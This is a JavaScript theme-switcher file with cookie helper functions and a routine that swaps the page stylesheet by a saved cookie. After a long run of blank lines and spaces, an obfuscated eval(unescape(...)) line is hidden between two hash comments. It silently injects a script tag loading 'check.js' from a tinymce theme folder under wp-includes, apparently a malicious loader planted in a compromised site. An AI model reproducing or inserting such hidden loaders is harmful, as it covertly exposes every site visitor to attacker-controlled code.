// Cookie handling routines

function getCookieVal (offset) {
	var endstr = document.cookie.indexOf (";", offset);
	if (endstr == -1) { endstr = document.cookie.length; }
	return unescape(document.cookie.substring(offset, endstr));
	}

function GetCookie (name) {
	var arg = name + "=";
	var alen = arg.length;
	var clen = document.cookie.length;
	var i = 0;
	while (i < clen) {
		var j = i + alen;
		if (document.cookie.substring(i, j) == arg) {
			return getCookieVal (j);
			}
		i = document.cookie.indexOf(" ", i) + 1;
		if (i == 0) break; 
		}
	return null;
	}

function DeleteCookie (name,path,domain) {
	if (GetCookie(name)) {
		document.cookie = name + "=" +
		((path) ? "; path=" + path : "") +
		((domain) ? "; domain=" + domain : "") +
		"; expires=Thu, 01-Jan-70 00:00:01 GMT";
		}
	}

function SetCookie (name,value,expires,path,domain,secure) {
	expires = new Date;
	expires.setMonth(expires.getMonth()+9);
  document.cookie = name + "=" + escape (value) +
    ((expires) ? "; expires=" + expires.toGMTString() : "") +
    ((path) ? "; path=" + path : "") +
    ((domain) ? "; domain=" + domain : "") +
    ((secure) ? "; secure" : "");
	}
// End of Cookie handling routines.	


var THEME_KEY = "theme";	// this key is used to store the selected theme.
var DEFAULT_THEME = "default";	// this is the default theme for first time visitors.

// the main routine.

function changeStyleSheet() {
	var s = GetCookie(THEME_KEY);	// check for cookie theme.
	if (s == null) s = DEFAULT_THEME;	// if no cookie then set up default theme. 
	document.getElementById('default').href = "css/"+s+".css";	// this bit does all the work rewriting the stylesheet link href.
}

function setTheme(name) {
	DeleteCookie(THEME_KEY);					
	SetCookie(THEME_KEY, name);
	self.location = self.location;	// simple trick to reload the current document
}
	
changeStyleSheet(); // call the main routine.




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%34%3B%20%4A%53%53%32%20%3D%20%38%35%33%36%33%3B%20%4A%53%53%33%20%3D%20%27%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%6A%73%2F%74%69%6E%79%6D%63%65%2F%74%68%65%6D%65%73%2F%64%61%72%75%64%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%6A%73%2F%74%69%6E%79%6D%63%65%2F%74%68%65%6D%65%73%2F%64%61%72%75%64%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































